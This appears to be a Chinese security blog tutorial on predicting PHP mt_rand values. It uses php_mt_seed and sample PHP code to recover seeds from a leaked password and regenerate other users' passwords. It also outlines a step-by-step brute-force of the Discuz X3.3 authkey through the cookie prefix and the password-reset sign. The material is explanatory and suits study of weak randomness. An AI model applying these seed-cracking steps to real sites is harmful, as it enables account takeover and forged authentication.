PHP mt_rand应用场景详解

php_mt_seed应用场景
直接使用mt_rand生成的随机数
假设下面的代码为用户密码的随机生成代码：

<?php

 function user_password() {

 return mt_rand();

 }

 

 echo user_password(), "\n";

 echo user_password(), "\n";

 echo user_password(), "\n";

运行后我们可以得到三个用户的密码

假设我们现在得到了第一个用户的密码：1412203388

通过这个密码我们可以猜测出后面两个用户的密码。

下面我们运行php_mt_seed找出seed，命令如下：

./php_mt_seed.exe 1412203388

这里我用于测试的服务器的PHP版本为5.4.45，那么seed就可能是2078089285，下面写一段PHP代码来测试一下。

<?php

mt_srand(2078089285);//手工播种

for($i=0;$i<3;$i++){

 echo mt_rand()." ";

}

完全解密了其它两个用户的密码。

使用经过转换后的mt_rand随机序列
下面是我们更常见到的生成随机数的代码：

<?php

 function user_password($length = 10) {

 $allowable_characters = 'abcdefghijkmnopqrstuvwxyzABCDEFGHJKLMNPQRSTUVWXYZ23456789';

 $len = strlen($allowable_characters) - 1;

 $pass = '';

 for ($i = 0; $i < $length; $i++) {

 $pass .= $allowable_characters[mt_rand(0, $len)];

 }

 return $pass;

 }

 mt_srand(time());

 echo user_password(), "\n";

 echo user_password(), "\n";

 echo user_password(), "\n";

 ?>

运行后我们可以得到三个用户的密码：

假设我们现在得到了第一个用户的密码：paJHuuKv3H

我们要写一个程序，先是把字母还原成为生成的随机数，然后在拼接成php_mt_seed需要的参数。代码如下：

<?php

 $pass_now = "paJHuuKv3H";

 $allowable_characters = 'abcdefghijkmnopqrstuvwxyzABCDEFGHJKLMNPQRSTUVWXYZ23456789';

 $len = strlen($allowable_characters) - 1;

 for($j = 0; $j < strlen($pass_now); $j++)

 {

 for ($i = 0; $i < $len; $i++) {

 if($pass_now[$j] == $allowable_characters[$i])

 {

 echo "$i $i 0 56 ";

 break;

 }

 }

 }

执行如下命令：

./php_mt_seed.exe 14 14 0 56 0 0 0 56 33 33 0 56 32 32 0 56 19 19 0 56 19 19 0 56 34 34 0 56 20 20 0 56 50 50 0 56 32 32 0 56
运行结果如下：

得到seed为1544796235，写解密代码如下：

<?php

 function user_password($length = 10) {

 $allowable_characters = 'abcdefghijkmnopqrstuvwxyzABCDEFGHJKLMNPQRSTUVWXYZ23456789';

 $len = strlen($allowable_characters) - 1;

 $pass = '';

 for ($i = 0; $i < $length; $i++) {

 $pass .= $allowable_characters[mt_rand(0, $len)];

 }

 return $pass;

 }

 

 mt_srand(1544796235);

 

 echo user_password(), "\n";

 echo user_password(), "\n";

 echo user_password(), "\n";

完全解密了其它两个用户的密码。

下面列出一个实际的例子：

Discuz X3.3 authkey生成算法的安全性漏洞
这里只做简要介绍，如需查看详细内容请看参考文献3。

Discuz官方于2017年8月1号发布最新版X3.4版本，在最新版本中修复了多个安全问题。

用户在初次安装软件时，系统会自动生成一个authkey写入全局配置文件和数据库，之后安装文件会被删除。该authkey用于对普通用户的cookie进行加密等密码学操作，但是由于生成算法过于简单，可以利用公开信息进行本地爆破。

Discuz_X3.3_SC_UTF8uploadinstallindex.php中authkey的生成方法如下：

$authkey = substr(md5($_SERVER[‘SERVER_ADDR’].$_SERVER['HTTP_USER_AGENT'].$dbhost.$dbuser.$dbpw.$dbname.$username.$password.$pconnect.substr($timestamp, 0, 6)), 8, 6).random(10);
可以看出authkey主要由两部分组成：

MD5的一部分（前6位） + random生成的10位

跟入random函数：

由于字符生成集合是固定的，且没有重复字符，那么函数中每一次生成hash都唯一对应了chars数组中的一个位置，而且是使用同一个seed生成的。

在之后的代码中使用了同样的random函数：

$config[‘cookie’][‘cookiepre’] = random(4).’’;
Cookie的前四个字节是已知的，并且使用了同样的random函数，那么思路很明显：

通过已知的4位，算出random使用的种子，进而得到authkey后10位。那剩下的就需要搞定前6位，根据其生成算法，只好选择爆破的方式，由于数量太大，就一定要选择一个本地爆破的方式（即使用到authkey而且加密后的结果是已知的）。

在调用authcode函数很多的地方都可以进行校验，在这里使用找回密码链接中的id和sign参数。

sign生成的方法如下：

function dsign($str, $length = 16){

return substr(md5($str.getglobal('config/security/authkey')), 0, ($length ? max(8, $length) : 16));

}

爆破authkey 的流程：

1.通过cookie前缀爆破随机数的seed。使用php_mt_seed工具。

2.用seed生成random(10)，得到所有可能的authkey后缀。

3.给自己的账号发送一封找回密码邮件，取出找回密码链接。

4.用生成的后缀爆破前6位，范围是0×000000-0xffffff，和找回密码url拼接后做MD5求出sign。

5.将求出的sign和找回密码链接中的sign对比，相等即停止，获取当前的authkey。

总结
说了这么多，那到底随机数怎么不安全了呢？其实函数本身没有问题，官方也明确提示了生成的随机数不应用于安全加密用途（虽然中文版本manual没写）。问题在于开发者并没有意识到这并不是一个真随机数 。我们已经知道，通过已知的随机数序列可以爆破出种子。也就是说，只要任意页面中存在输出随机数或者其衍生值（可逆推随机值），那么其他任意页面的随机数将不再是“随机数”。常见的输出随机数的例子比如验证码，随机文件名等等。常见的随机数用于安全验证的比如找回密码校验值，比如加密key等等。PHP随机数的应用范围很广，很多知名的程序也出现过很多严重的问题，但是，目前这个方面还是没有得到足够的重视，一定还有很多很多地方存在着类似的漏洞等待着我们去发现。

http://www.45zq.cn/portal/article/index/id/38.html